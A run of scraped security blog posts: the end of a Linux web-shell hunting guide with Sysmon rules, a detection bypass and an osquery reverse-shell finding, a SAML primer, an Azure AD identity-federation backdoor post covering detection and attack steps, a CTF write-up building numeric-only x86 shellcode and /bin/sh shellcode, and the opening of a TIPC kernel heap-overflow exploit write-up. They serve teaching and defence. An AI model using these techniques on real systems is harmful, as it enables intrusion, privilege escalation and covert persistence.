removed some fields for brevity. <Event> <System> <Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/> <EventID>1</EventID> </System> <EventData> <Data Name="RuleName">TechniqueID=T1505.003,TechniqueName=Serv</Data> <Data Name="UtcTime">2021-11-23 14:06:07.118</Data> <Data Name="ProcessGuid">{717481a5-f54f-619c-c944-fd0292550000}</Data> <Data Name="ProcessId">11663</Data> <Data Name="Image">/usr/bin/whoami</Data> <Data Name="CommandLine">whoami</Data> <Data Name="CurrentDirectory">/var/www/html</Data> <Data Name="User">www-data</Data> <Data Name="LogonGuid">{717481a5-0000-0000-2100-000000000000}</Data> <Data Name="LogonId">33</Data> <Data Name="ParentProcessId">11662</Data> <Data Name="ParentImage">/usr/bin/dash</Data> <Data Name="ParentCommandLine">sh</Data> <Data Name="ParentUser">www-data</Data> </EventData> </Event> Now with this knowledge, we can bypass T1505.003 sysmon rule. By running system("/bin/bash whoami") so that the parent image of the whoami command would not be dash . This would trigger two T1059.004 alerts. Just for an exercise, if we want to replicate our detect_execve_www in sysmon, we can use the following rule <RuleGroup name="" groupRelation="or"> <ProcessCreate onmatch="include"> <Rule name="detect_shell_www" groupRelation="and"> <User condition="is">www-data</User> <Image condition="contains any">/bin/bash;/bin/dash;/bin/sh;whoami</Image> </Rule> </ProcessCreate> </RuleGroup> And if we want to do basic file integrity monitoring with sysmon we can use <FileCreate onmatch="include"> <Rule name="change_www" groupRelation="or"> <TargetFilename condition="begin with">/var/www/html</TargetFilename> </Rule> </FileCreate> For more information about writing your own sysmon rules you can look at: https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon#configuration-files https://techcommunity.microsoft.com/t5/sysinternals-blog/sysmon-the-rules-about-rules/ba-p/733649 https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml https://github.com/microsoft/MSTIC-Sysmon 1.6 Hunting for web shells using osquery For osquery, we might not be able to “find” the web shells itself, but we might be able to find evidence of the webshell. If an attacker uses a web shell, it is possible they will try to establish a reverse shell. If so, we should be an outbound connection from the web server to the attacker. SELECT pid, remote_address, local_port, remote_port, s.state, p.name, p.cmdline, p.uid, username FROM process_open_sockets AS s JOIN processes AS p USING(pid) JOIN users USING(uid) WHERE s.state = 'ESTABLISHED' OR s.state = 'LISTEN'; This look for processes with sockets that have established connections or has a listening port. +-------+-----------------+------------+-------------+-------------+-----------------+----------------------------------------+------+----------+ | pid | remote_address | local_port | remote_port | state | name | cmdline | uid | username | +-------+-----------------+------------+-------------+-------------+-----------------+----------------------------------------+------+----------+ | 14209 | 0.0.0.0 | 22 | 0 | LISTEN | sshd | /usr/sbin/sshd -D | 0 | root | | 468 | 0.0.0.0 | 80 | 0 | LISTEN | nginx | nginx: worker process | 33 | www-data | | 461 | 74.125.200.95 | 51434 | 443 | ESTABLISHED | google_guest_ag | /usr/bin/google_guest_agent | 0 | root | | 8563 | 10.0.0.13 | 39670 | 9200 | ESTABLISHED | auditbeat | /usr/share/auditbeat/bin/auditbeat ... | 0 | root | | 17770 | 6.7.8.9 | 22 | 20901 | ESTABLISHED | sshd | sshd: user@pts/0 | 1000 | user | | 17776 | 1.2.3.4 | 51998 | 1337 | ESTABLISHED | bash | bash | 33 | www-data | +-------+-----------------+------------+-------------+-------------+-----------------+----------------------------------------+------+----------+ Notice we that we see exposed port 22 and port 80 which is normal. We see outbound connections for some binaries used by GCP (my VM is hosted in GCP) as well as the auditbeat service that ships my logs to the SIEM. We also see an active SSH connection from 6.7.8.9 which might be normal. What should catch your eye is the connection pid =17776. It is an outbound connection to port 1337 running shell by www-data! This is probably an active reverse shell! What’s next We’ve discussed basic of monitoring and logging with sysmon, osqueryu, auditd and auditbeats and we have used the case study of how to detect the creation and usage of web shells. In the next blog post we will go through account creation and manipulation. Appendix A00 Setup nginx and php If you want to try this out on your own VM, you need to first setup an nginx server that is configured to use php. (We follow this guide). You need to install nginx and php sudo apt-get update sudo apt-get install nginx sudo apt-get install php-fpm sudo vi /etc/php/7.3/fpm/php.ini # cgi.fix_pathinfo=0 sudo systemctl restart php7.3-fpm sudo vi /etc/nginx/sites-available/default # configure nginx to use php see next codeblock sudo systemctl restart nginx The nginx config might look something like this server { listen 80 default_server; listen [::]:80 default_server; root /var/www/html; index index.html index.htm index.nginx-debian.html; server_name _; location / { try_files $uri $uri/ =404; } location ~ \\.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.3-fpm.sock; } } Now you should have a web server listening in port 80 that can run php code. Any file that ends with .php will be run as php code. A01 Setup sysmon for linux For sysmon for linux, I was on Debian 10, so based on https://github.com/Sysinternals/SysmonForLinux/blob/main/INSTALL.md wget -qO- https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.asc.gpg sudo mv microsoft.asc.gpg /etc/apt/trusted.gpg.d/ wget -q https://packages.microsoft.com/config/debian/10/prod.list sudo mv prod.list /etc/apt/sources.list.d/microsoft-prod.list sudo chown root:root /etc/apt/trusted.gpg.d/microsoft.asc.gpg sudo chown root:root /etc/apt/sources.list.d/microsoft-prod.list sudo apt-get update sudo apt-get install apt-transport-https sudo apt-get update sudo apt-get install sysmonforlinux I used microsoft/MSTIC-Sysmon git clone https://github.com/microsoft/MSTIC-Sysmon.git cd MSTIC-Sysmon/linux/configs sudo sysmon -accepteula -i main.xml # if you are experimenting and want to see all sysmon logs use # sudo sysmon -accepteula -i main.xml Logs should now be available in /var/log/syslog If you want to add rules to main.xml then you can modify it and then reload the config and restart sysmon sudo sysmon -c main.xml sudo sysmtectl restart sysmon A02 Setup auditbeats and auditd for linux Note: Setting up a local elasticsearch clustering is out of scope of this blog post. Elastic has good documentation for auditbeats: https://www.elastic.co/guide/en/beats/auditbeat/7.15/auditbeat-installation-configuration.html curl -L -O https://artifacts.elastic.co/downloads/beats/auditbeat/auditbeat-7.15.2-amd64.deb sudo dpkg -i auditbeat-7.15.2-amd64.deb Modify /etc/auditbeat/auditbeat.yml Add the config for elasticsearch output.elasticsearch: hosts: ["10.10.10.10:9200"] username: "auditbeat_internal" password: "YOUR_PASSWORD" To configure auditd rules, validate location of the audit_rule_files # ... - module: auditd audit_rule_files: [ '${path.config}/audit.rules.d/\*.conf' ] audit_rules: | ## Define audit rules # ... In this case it is in /etc/auditbeat/audit.rules.d/ and I add audit-rules.conf from https://github.com/Neo23x0/auditd/blob/master/audit.rules For some of the custom rules I make I add it in /etc/auditbeat/audit.rules.d/custom.conf Other sources: https://www.bleepingcomputer.com/news/microsoft/microsoft-releases-linux-version-of-the-windows-sysmon-tool/ https://github.com/elastic/integrations/issues/1930 Photo by Brook Anderson on Unsplash Pepe Berba Cloud Security at Thinking Machines| GMON, CCSK | Ex-Machine Learning Researcher and Ex-SOC Engineer Sursa: https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/
-
- 1
-
-
A Complete Guide to Implementing SAML Authentication in Enterprise SaaS Applications Identity Aviad Mizrachi 7 min readJuly 15, 2021 SIGN UP TO OUR NEWSLETTER. Get the latest articles on all things data delivered straight to your inbox. Start for free What Is SAML Authentication? SAML stands for Security Assertions Markup Language. Let’s say an organization wishes to authenticate its users without creating IAM roles and communicate assertions between the source and the target in a cloud environment. This can be easily achieved with the help of SAML. Image Source SAML is a method of secure communication between parties using extensible markup language (XML). The following two endpoints are typically used in SAML: Identity provider: The source that makes the request is known as the “identity provider” and the user’s identity might be either username/password or username/OTP. Service provider: The “service provider” is the target to which the started request is directed for verification; it may be Gmail, AWS, or Salesforce. It keeps track of user permission records, and grants access to Software as a Service (SaaS) applications. It also keeps track of how long a user is permitted to stay or how to keep a user’s session on a certain application alive. SAML is built on the notion of single sign-on (SSO). It means that one can use the same credentials on all of an organization’s portals to which they have access. SAML can also be used for access control list (ACL) permissions, in which it determines whether or not a user is authorized to access a specific resource. There’s also SAML 2.0, which is a version of the SAML standard that enables web-based, cross-domain SSO. It was ratified back in 2005. Benefits of SAML For users and systems built independently by an organization, SAML enables both authentication and authorization. There is no need to use or remember numerous credentials after it is implemented. Only one sort of credential can access all of the organization’s resources or systems. SAML follows a standard methodology that is not dependent on any system because it has no interoperability concerns with multiple products/vendors. SAML follows a standard method that is not dependent on any system. It uses a single point of entry to validate a user’s identity, allowing it to provide secure authentication without keeping user data or requiring directory synchronization. As a result, it removes the possibility of identity theft. The SSO principle provides a hassle-free and speedier environment for its users. Administrative costs are also lowered for service providers. Because different authentication endpoints aren’t required, there’s no need to develop them. It makes the system more dependable in terms of “risk transference” because it transmits responsibility based on identity. Let’s discuss the benefits of SAML from different stakeholders’ perspectives: SAML v.s OAuth OAuth stands for “Open Authorization“. OAuth, like SAML, employs an authorization server to complete the login process, and both are based on the SSO principle. Let’s look at some of the fundamental differences between them. SAML is concerned with the user, whereas OAuth is concerned with the application. Users are managed centrally in SAML. When a user logs into his organization’s network, he has access to all the resources because everything is centralized. However, if a user wants to provide third-party websites access to his information from a website like Facebook or Google, OAuth is required. SAML can do both authentication and authorization, whereas OAuth can only do the latter. OAuth is based on JavaScript Object Notation (JSON), binary, or even SAML forms, whereas SAML is based on XML format. In SAML, a token is referred to as a SAML assertion. In OAuth, a token is referred to as an access token. If users need temporary access to resources, utilize OAuth instead of SAML because it is more lightweight. How SAML Authentication Works Image by Author The identity provider obtains the user’s credentials (username and password). SAML validates the user’s identity at this stage. The identity provider will now verify the credentials and permissions associated with that account. If the user’s credentials are correct, the identity provider will respond with a token and the user’s approved response to access the SaaS application. This token is sent to the service provider using a POST request. The service provider will now validate the token. If the token is valid, it will generate temporary credentials and direct the user to the desired application terminal. Note: The actions listed above will only work if there is a “trust connection” between the identity provider and the service provider. The authentication process will fail if that does not exist. How We Can Create a Trust Relationship between Identity Provider and Service Provider The SAML basic configuration must be agreed upon by both the identity provider and the service provider. As a result, an identical configuration is required at both endpoints; otherwise, SAML will not work. How It Works: Create a SAML document and submit it to the service provider. However, this document would be in XML format. We must first generate a certificate from the host machine. Similarly, generate a document on the service provider and then import it on the identity provider. That document has a lot of information like certificate information, email address of the organization, and public key of the service provider. SAML Use Cases When an organization implements SAML, it can do so in a variety of ways. For example, all infrastructure can be deployed on-premises, in the cloud, or in a hybrid structure where part of it is on the cloud and part is on-premises. We have a couple of use cases based on it. Hybrid In this situation, identity verification takes place on-premises, but authorization takes place in the cloud, and the user has immediate access to the cloud resource before authentication, then: Users can access cloud resources directly. For authentication, users will be redirected to an on-premises setup. The identity provider verifies the user’s identity and provides the SAML assertion for the service provider’s use. The service provider will validate the assertion, and the user will be sent to the web application. Cloud-Based Both the identity provider and the service provider are cloud-based in this scenario, and the apps are either cloud-based or on-premises. First, users will be redirected to the cloud infrastructure to verify their identity. Identity as a service (IaaS) is a term used to describe how identity providers work (IDAAS). Authentication will be handled via the identity provider. The identity provider assigns assertions after authentication. The service provider verifies the veracity of the claim and provides the user access to the web application. How to Implement SAML on the Cloud It is relatively simple to deploy SAML in the cloud because most cloud service providers now provide an option to do so automatically; you don’t need to know rocket science to do so. Here, we are discussing how you can implement SAML on Google Cloud. Step 1 Create an account on Google Cloud and enable the identity provider. Step 2 Now it’s time to set up the provider; there are a few things to do. Go to Identity Provider -> Click on Add Provider -> Select SAML list from there -> Enter details such as Provider Name, Provider’s Entity ID, Provider’s SSO URL, Certificate (used for token signing). Go to Service Provider -> Provide Entity Id (that verifies your application). Step 3 Add application URL in the authorized domain. Step 4 2. After adding all this information at different places, click on save. These are some basic cloud measures that we can use. However, we can take the procedures listed below to secure it, such as: Signing request: By signing authentication requests, this feature improves the security of the requests. Link user accounts: There’s a chance the user has already signed into the program, but with a different method than username/password. As a result, we can link the existing account to the SAML provider in such a scenario. Re-authenticating user: When a user changes his email, password, or any other sensitive information, it is the obligation of the SAML to re-authenticate the user. SAML Authentication Best Practices Although we discussed the fundamentals of SAML, there are other fundamentals that make SAML communication more safe. For secure web communication, always use SSL/TLS. As a result, all communication between users, identity providers, and service providers is encrypted at all times. Since communication is encrypted, an attacker attempting an MITM attack will be unable to access or modify the data. As a result, the requests’ confidentiality and integrity are preserved. Whenever creating a trust relation between identity providers and service providers, configure identity providers to use HTTP POST, and for redirection of SAML responses, use the whitelisted domains. The service provider does not perform the authentication operation. If the domain is not whitelisted, attackers can manipulate the domain and redirect them into a malicious domain. SAML uses XML to perform validation schema on XML documents so that unsanitized user input cannot pass. Always prefer local schema from XML. Do not download it from untrusted websites. Maintain a blacklist of the domains that the organization wants to exclude from the SAML authentication process. As an identity provider, we can manage the user through access control. Aviad Mizrachi Sursa: https://frontegg.com/blog/implementing-saml-authentication-in-enterprise-saas-applications
-
How to Detect Azure Active Directory Backdoors: Identity Federation November 23, 2021 During the Solarwinds breach performed by Russian threat actors, one of the techniques utilised by the threat actors to gain control of a victim's Azure Active Directory (AAD) was to create an AAD backdoor through identity federation. The implication of this attack was that the threat actors were able to log in and impersonate any Microsoft 365 (M365) user and bypass all requirements for MFA as well as bypass any need to enter a valid password. As you can imagine, if the correct detection controls are not in place – this can allow persistence for the threat actors to impersonate any user and maintain access and control of the victim’s AAD / M365 instance. The technique of backdooring AAD is a technique that tends to be used post-compromise – whereby an attacker has already gained access to an account with Global Administrator or Hybrid Identity Administrator privileges. As such, it’s crucial organisations are monitoring for accounts that get given these two privileges. There are many ways an attacker can gain Global Administrator privileges within AAD – one of those techniques is by performing privilege escalation on service principals with an owner who has Global Administrator privileges. I have written a previous blog post covering backdooring Azure applications and service principal abuse here. The intention of this blog post is to cover how to create an Azure AD backdoor utilising the AADInternals tool by @DrAzureAD, the AAD portal and the MSOnline PowerShell module. As such, I’ve broken this blog post into two sections – the first one focusing on the detection and second part focusing on the attack flow. Detection Methodology To detect a malicious AzureAD backdoor, there are three key elements to consider in the analysis methodology: Review all federated domain names within AAD Review audit logs and unified audit logs for any newly federated domains Review audit logs for ImmutableIds being added/created for an account Review all anomalous logons in the Azure Sign-in logs and the unified audit logs (UAL) Step 1: Reviewing Federated Domain Names Within the AAD portal the “Custom Domain Names” section lists all domains that are relevant to the instance. In this particular section, I would advise reviewing all domains that have the “federated” tick next to it. Step 2: Detect any newly federated domains in AAD Both the AAD audit logs and the unified audit logs will track activity pertaining to the creation of a newly federated domain. These events should not occur frequently, so setting up an alert on this should not be generating much noise. Since AAD stores audit log and sign-in log activity for 7-30 days based on the license, I’d also recommend setting up the same detection on the unified audit logs. The detection should focus on looking at the following fields for a match: Activity: "Set domain authentication" IssuerURI: "http://any.sts/*" LiveType: "Federated" The screenshot below shows how this is represented within the audit logs in the portal. Further review of the audit logs should show a sequence of activity pertaining to the verification of the malicious domain along with the federation activity. I would also hunt for the following activities: Verify domain: Success or Failure Add unverified domain: Success Step 3: Detecting modifications to ImmutableIDs for accounts For a backdoor to be set, the impersonated user with Global Admin / Hybrid Identity Admin credentials needs to have an ImmutableID set. This will create an event in AAD Audit Logs. I would write a detection that looks for: Activity: "Update User" Included Updated Properties: "SourceAnchor" As you can see from the screenshot below – the ImmutableID I created was “happyegg”. By detecting the existence of “Included Updated Properties” mapping to “SourceAnchor”, you can detect the creation/modification of the ImmutableID. Step 4: Review anomalous sign-ins It’s difficult to review the AAD sign-in logs to ascertain this behaviour as the attackers can basically impersonate any user and login. The premise of the backdoor is that the attackers can bypass MFA. When I performed this attack on my test instance, it generated the following events with these details which shouldn’t be too common for a user. However, based on this attack, these logon events can vary and can generate false positive. I would keep this in mind before turning this into a detection query. You can also focus on detecting general anomalous sign-ins that match other IoCs collected in terms of IPs, user-agent strings etc within the Unified Audit Logs (UAL). Attack Methodology This next section focuses on how to perform this attack, I relied heavily on the documentation written by @DrAzureAD in his blog here. I did this a little differently, but you can also do the entire thing using just AADInternals. Step 1: Set the ImmutableID string for the user you want to impersonate In order for this attack to work, the user you are impersonating needs to have an ImmutableID set. I used MSOnline module to perform this section. I first ran a check to see if there were any existing ImmutableIDs set in my tenant: The account I wanted to target is my global administrator account – so using MSOnline I set an ImmutableID for that account as “happyegg”. Step 2: Register a malicious domain For this to work, you need to register / create a malicious domain that you can use as your backdoor. I followed @DrAzureAD recommendation and generated a free one using www.myo365.site called “evildomain.myo365.site”. I decided to add the domain to my tenant via the AAD portal. You can do this by clicking into “Custom domain names” and adding your custom domain name there. It will guide you through a verification check where you will need to ensure that the malicious domain you created has the same TXT field as the one issued by Microsoft. The Microsoft documentation for how to add a custom domain name is here. Step 3: Create the AAD backdoor I used AADInternals to do this the same way @DrAzureAD detailed in his blog. This then provides you with an IssuerURI which you will then utilise to login. Step 4: Login through your AAD Backdoor Using AADInternals again, I logged in – as you can see in the screenshot below it automatically opens a browser and shows the “Stay signed in?” page. By clicking “YES” you are automatically taken into the M365 logged in as that user. Attack complete! References https://o365blog.com/post/aadbackdoor/ https://docs.microsoft.com/en-us/powershell/module/msonline/set-msoluser?view=azureadps-1.0 https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-custom-domain https://docs.microsoft.com/en-us/powershell/module/msonline/?view=azureadps-1.0 Sursa: https://www.inversecos.com/2021/11/how-to-detect-azure-active-directory.html
-
Numeric Shellcode Jan 12, 2021 10 minutes read Introduction In December 2020 I competed in Deloitte’s Hackazon CTF competition. Over the course of 14 days they released multiple troves of challenges in various difficulties. One of the final challenges to be released was called numerous presents. This task immediately piqued my interest as it was tagged with the category pwn. The challenge description reads: 600 POINTS - NUMEROUS PRESENTS You deserve a lot of presents! Note: The binary is running on a Ubuntu 20.04 container with ASLR enabled. It is x86 compiled with the flags mentioned in the C file. You can assume that the buffer for your shellcode will be in eax. Tip: use hardware breakpoints for debugging shellcode. Challenge code The challenge is distributed as a .c file with no accompanying reference binary. Personally I’m not a big fan of this approach, the devil is in the details when it comes to binary exploitation, but let’s have a look: #include <stdio.h> // gcc -no-pie -z execstack -m32 -o presents presents.c unsigned char presents[123456] __attribute__ ((aligned (0x20000))); int main(void) { setbuf(stdout, NULL); puts("How many presents do you want?"); printf("> "); scanf("%123456[0-9]", presents); puts("Loading up your presents..!"); ((void(*)())presents)(); } Alright, at least the invocation for gcc is embedded as a comment, and the challenge code itself is brief and and straight forward. There is a static uninitialized buffer presents that resides in the .bss of the program. The libc routine scanf is used to fill this buffer and jump to it. There is one catch though, the format-string used here is %123456[0-9]. This uses the %[ specifier to restrict the allowed input to only the ASCII literals for the numbers 0 till 9 (0x30-0x39). So essentially they are asking us to write a numeric only shellcode for x86 (not amd64). Is this even possible? There is plenty of supporting evidence to be found that this is possible when restricted to alpha-numeric characters, but what about numeric-only? Long story short: yes it is definitely possible. In the remaining part of the article I will explain the approach I took. Unfortunately though, this is not a fully universal or unconstrained approach, but it is good enough™ for this particular scenario. Diving in If we set up a clean Ubuntu 20.04 VM and apt install build-essential and build the provided source, we end up with a binary which has the presents global variable located at 0x08080000. Examining the disassembly listing of main we can see the function pointer invocation looks like this: mov eax, 0x8080000 call eax So indeed, like the challenge description suggested EAX contains a pointer to our input/shellcode. So what kind of (useful) instructions can we generate with just 0x30-0x39? Instead of staring at instruction reference manuals and handy tables for too long I opted to brute-force generate valid opcode permutations and disassemble+dedup them. Exclusive ORdinary Instructions There was no easy instructions to do flow control with numerics only, let alone a lot of the arithmetic. There was no way to use the stack (push/pop) as some kind of scratchpad memory as is often seen with alphanumeric shellcoding. Let’s look at some obviously useful candidates though.. they are all xor operations. 34 xx -> xor al, imm8 30 30 -> xor byte ptr [eax], dh 32 30 -> xor dh, byte ptr [eax] 32 38 -> xor bh, byte ptr [eax] 35 xx xx xx xx -> xor eax, imm32 Ofcourse, any immediate operands have to be in the 0x30-0x39 range as well. But these instructions provide a nice starting point. xor byte ptr [eax], dh can be used to (self-)modify code/data if we manage to point eax to the code/data we want to modify. Changing eax arbitrarily is a bit tricky; but with the help of xor eax, imm32 and xor al, imm8 we can create quite a few usable addresses. (More on this in a bit) Writing numeric only shellcode is all about expanding your arsenal of primitives, in a way that eventually yields a desired end result. If we were to start mutating opcodes/instructions using the xor [eax], dh primitive, we need to have a useful value in dh first. Bootstrapping If we look at the register contents of ebx and edx in the context of this particular challenge, we see that ebx points to the start of the .got.plt section (0x0804c000) and edx is clobbered with the value 0xffffffff at the time the trampoline instruction (call eax) to our shellcode is being executed. In short, bh = 0xc0 and dh = 0xff. If we start our journey like this: xor byte ptr [eax], dh ; *(u8*)(eax) ^= 0xff (== 0xcf) xor dh, byte ptr [eax] ; dh ^= 0xcf (== 0x30) xor bh, byte ptr [eax] ; bh ^= 0xcf (== 0x0f) We end up with some (what I would call) useful values in both dh and bh. What exactly makes 0x30 and 0x0f useful though? Well for one, by xor’ing numeric code with 0x30 we can now (relatively) easily introduce the values 0x00-0x09. To be able to arbitrarily carve certain bytes in memory I picked a method that relies on basic add arithmetic. add byte ptr [eax], dh and add byte ptr [eax], bh are almost numeric only. They start with a 0x00 opcode byte though. But this value can now be carved by xor’ing with dh, which contains 0x30. Here it becomes useful that we have a value in dh which only has bits set in the upper nibble, and a value in bh which only has bits set in the lower nibble. By combining a (reasonable!) amount of add arithmetic using bh and dh as increment values we can carve any value we want. So let’s say we want to produce the value 0xCD (CD 80 happens to be a useful sequence of bytes when writing x86/Linux shellcode ;-)). start value = 0x31 0x31 + (0x30 * 2) = 0x91 0x91 + (0x0f * 4) = 0xcd as you can see, with a total of 6 add operations (2 with bh and 4 with bh) we can easily construct the value 0xCD if we start with a numeric value of 0x31. It is fine if we overflow, we are only working with 8bit registers. Pages and overall structure Having the ability to turn numeric bytes into arbitrary bytes is a useful capability, but it heavily relies on being able to control eax to pick what memory locations are being altered. Let’s try to think about our eax-changing capabilities for a bit. We have the xor eax, imm32 and xor al, imm8 instructions at our disposal. Of course, the supplied operands to these instructions need to be in the numeric range. By chaining two xor eax, imm32 operations it becomes possible to set a few nibbles in EAX to arbitrary values, while not breaking the numeric-only rule for the operands. By adding an optional xor al, 0x30 to the end we can toggle the upper nibble of the least significant byte of eax to be 0x30. This gives us a nice range of easily selectable addresses. A quick example would look something like this: ; eax = 0x08080000, our starting address xor eax, 0x30303130 ; eax = 0x38383130 xor eax, 0x30303030 ; eax = 0x08080100 xor al, 0x30 ; eax = 0x08080130 Lets treat the lower 16bits of eax as our selectable address space, we have the ability to select addresses in the form of 0x08080xyz where x and z can be anything between 0 and f and y can be either 3 or 0. In essence, we can easily increase/decrease eax with a granularity of 0x100 and within each 0x100-sized page (from here on, page) we can select addresses 00-0f and 30-3f. I came up with a structure for the shellcode where each page starts with code that patches code in the same page at offset 0x30 and higher, and the code at offset 0x30 and higher in the page then patches the final shellcode. Indeed, we’re using self-modifying code that needs to be self-modified before it can self-modify (yo dawg). Roughly, the layout of our pages look like this: 000: setup code 100: page_patcher_code_0 (patches shellcode_patcher_code_0) 130: shellcode_patcher_code_0 (patches shellcode) 200: page_patcher_code_1 (patches shellcode_patcher_code_1) 230: shellcode_patcher_code_1 (patches shellcode) ... f00: shellcode that gets modified back into original form This means we can have a maximum of up to 14 patch pages (we lose page 0 to setup code), which doesn’t allow us to use very big shellcodes. However, as it turns out, this is enough for a read(stdin, buffer, size) syscall, which was good enough to beat this challenge, and (in general) is enough for staging a larger shellcode. Padding With our limited addressing there’s quite a bit of ‘dead’ space we can’t easily address for modifying. We’ll have to find some numeric-only nop operation so we can slide over these areas. Most of our numeric instructions are exactly 2 bytes, except for xor eax, imm32 which is 5 bytes. The xor eax, imm32 is always used in pairs though, so our numeric code size is always evenly divisble by 2. This means we can use a 2-byte nop instruction and not run into any alignment issues. I picked cmp byte ptr [eax], dh (38 30) as my NOP instruction, as eax always points to a mapped address, and the side-effects are mininmal. Another option would’ve been to use the aaa instruction (37), which is exactly 1 byte in size. But it clobbers al in some cases, so I avoided it. Putting it all together Initially while I was developing this method I manually put together these self modifying numeric only contraptions (well, with some help of GNU assembler macro’s).. which works but is quite a painful and error prone process. Eventually I implemented all the details in an easy to use python script, numeric_gen.py. This tool takes care of finding the right xor masks for address selection, and calculating the optimal amount of mutation instructions for generating the shellcode. Do note, this tool was written with the challenge I was facing. You’ll want to modify the three constants (EDX, EBX, EAX) at the top if you plan to reuse my exact tooling. Popping a shell So we’ll write a quick stager shellcode that is compact enough to be num-only-ified. It will use the read syscall to read the next stage of shellcode from stdin. We’ll put the destination buffer right after the stager itself, so there’s no need for trailing nop instructions or control flow divertion. The careful reader will notice I’m not setting edx (which contains the size argument for the read syscall) here since its already set to a big enough value. bits 32 global _start _start: mov ecx, eax ; ecx = eax add ecx, 0xd ; ecx = &_end xor ebx, ebx ; stdin xor eax, eax xor al, 3 ; eax = NR_read int 0x80 _end: That should do the trick. Time to run it through the tool and give it a shot. $ nasm -o stager.bin stager.asm $ xxd stager.bin 00000000: 89c1 83c1 0d31 db31 c034 03cd 80 .....1.1.4... $ python3 numeric_gen.py stager.bin stager_num.bin [~] total patch pages: 14 [>] wrote numeric shellcode to 'stager_num.bin' [~] old length: 13 bytes, new length 3853 (size increase 29638.46%) $ xxd stager_num.bin 00000000: 3030 3230 3238 3530 3030 3035 3031 3030 0020285000050100 00000010: 3830 3830 3830 3830 3830 3830 3830 3830 8080808080808080 00000020: 3830 3830 3830 3830 3830 3830 3830 3830 8080808080808080 00000030: 3830 3830 3830 3830 3830 3830 3830 3830 8080808080808080 ... 00000ee0: 3830 3830 3830 3830 3830 3830 3830 3830 8080808080808080 00000ef0: 3830 3830 3830 3830 3830 3830 3830 3830 8080808080808080 00000f00: 3931 3531 3231 3031 3034 3431 32 9151210104412 $ xxd binsh.bin 00000000: 31c0 89c2 5068 6e2f 7368 682f 2f62 6989 1...Phn/shh//bi. 00000010: e389 c1b0 0b52 5153 89e1 cd80 .....RQS.... $ (cat stager_num.bin; sleep 1; cat binsh.bin; cat -) | ./presents How many presents do you want? > Loading up your presents..! id uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant) echo w00t w00t ^C Success! As you can see our final numeric shellcode weighs in at 3853 bytes. A little under 4KiB, and well within the allowed limit of 123456 characters. Closing words I hope you enjoyed this article, and I’m eager to hear what improvements others can come up with. Right now this is not a fully generic approach, and I have no personal ambitions to turn it into one either. Things like shellcode encoding are mostly a fun party trick anyway these days. 😉 – blasty Sursa: https://haxx.in/posts/numeric-shellcode/
-
- 1
-
-
Exploiting CVE-2021-43267 Nov 24, 2021 11 minutes read Introduction A couple of weeks ago a heap overflow vulnerability in the TIPC subsystem of the Linux kernel was disclosed by Max van Amerongen (@maxpl0it). He posted a detailed writeup about the bug on the SentinelLabs website. It’s a pretty clear cut heap buffer overflow where we control the size and data of the overflow. I decided I wanted to embark on a small exploit dev adventure to see how hard it would be to exploit this bug on a kernel with common mitigations in place (SMEP/SMAP/KASLR/KPTI). If you came here to find novel new kernel exploitation strategies, you picked the wrong blogpost, sorry! TIPC? To quote the TIPC webpage: Have you ever wished you had the convenience of Unix Domain Sockets even when transmitting data between cluster nodes? Where you yourself determine the addresses you want to bind to and use? Where you don’t have to perform DNS lookups and worry about IP addresses? Where you don’t have to start timers to monitor the continuous existence of peer sockets? And yet without the downsides of that socket type, such as the risk of lingering inodes? Well.. I have not. But then again, I’m just an opportunistic vulndev person. Welcome to the Transparent Inter Process Communication service, TIPC in short, which gives you all of this, and a lot more. Thanks for having me. How to tipc-over-udp? In order to use the TIPC support provided by the Linux kernel you’ll have to compile a kernel with TIPC enabled, or load the TIPC module which ships with many popular distro’s. To easily interface with the TIPC subsystem you can use the tipc utility which is part of iproute2. For example, to list all the node links you can issue tipc link list. We want to talk to the TIPC subsystem over UDP, and for that we’ll have to enable the UDP bearer media. This can be done using tipc bearer enable media udp name <NAME> localip <SOMELOCALIP>. Under the hood the tipc userland utility uses netlink messages (using address family AF_TIPC) to do its thing. Interestingly enough, these netlink messages can be sent by any unprivileged user. So even if there’s no existing TIPC configuration in place, this bug can still be exploited. How to reach the vulnerable codepath? So now we know how to enable the UDP listener for TIPC, how do we go about actually reaching the vulnerable code? We’ll have to present ourselves as a valid node and establish a link before we can trigger the MSG_CRYPTO codepath. We can find a protocol specification on the TIPC webapge that details everything about transport, addressing schemes, fragmentation and so on. That’s a lot of really dry stuff though. I made some PCAPs of a tipc-over-udp session setup and with some handwaving and reading the kernel source narrowed it down to a few packets we need to emit before we can start sending the messages we are interested in. In short, a typical TIPC datagram starts with a header, that consist out of at least six 32bit words in big endian byte order. Those are typically referred to as w0 through w5. This header is (optionally) followed by a payload. w0 encodes the TIPC version, header size, payload size, the message ‘protocol’. There’s also a flag which indicates whether this is a sequential message or not. w1 encodes (amongst other things) a protocol message type specific to the protocol. The header also specifies a node_id in w3 which is a unique identifier a node includes in every packet. Typically, nodes encode their IPv4 address to be their node_id. A quick way to learn about the various bitfields of the header format is by consulting net/tipc/msg.h. To establish a valid node link we send three packets: protocol: LINK_CONFIG -> message type: DSC_REQ_MSG protocol: LINK_PROTOCOL -> message type: RESET_MSG protocol: LINK_PROTOCOL -> message type: STATE_MSG The LINK_CONFIG packet will advertise ourselves. The link is then reset with the LINK_PROTOCOL packet that has the RESET_MSG message type. Finally, the link is brought up by sending a LINK_PROTOCOL packet with the STATE_MSG message type. Now we are actually in a state where we can send MSG_CRYPTO TIPC packets and start playing with the heap overflow bug. Corrupting some memories A MSG_CRYPTO TIPC packet payload looks like this: struct tipc_aead_key { char alg_name[TIPC_AEAD_ALG_NAME]; unsigned int keylen; char key[]; }; As detailed in the SentinelLabs writeup, the length of the kmalloc’d heap buffer is determined by taking the payload size from the TIPC packet header. After which the key is memcpy’d into this buffer with the length specified in the MSG_CRYPTO structure. At first you’d think that means the overflow uses uncontrolled data.. but you can send TIPC packets that lie about the actual length of the payload (by making tipc_hdr.payload_size smaller than the actual payload size). This passes all the checks and reaches the memcpy without the remainder of the payload being discarded, giving us full control over the overflowed data. Great! The length specified in keylen will be passed to kmalloc directly. Smaller (up to 8KiB) 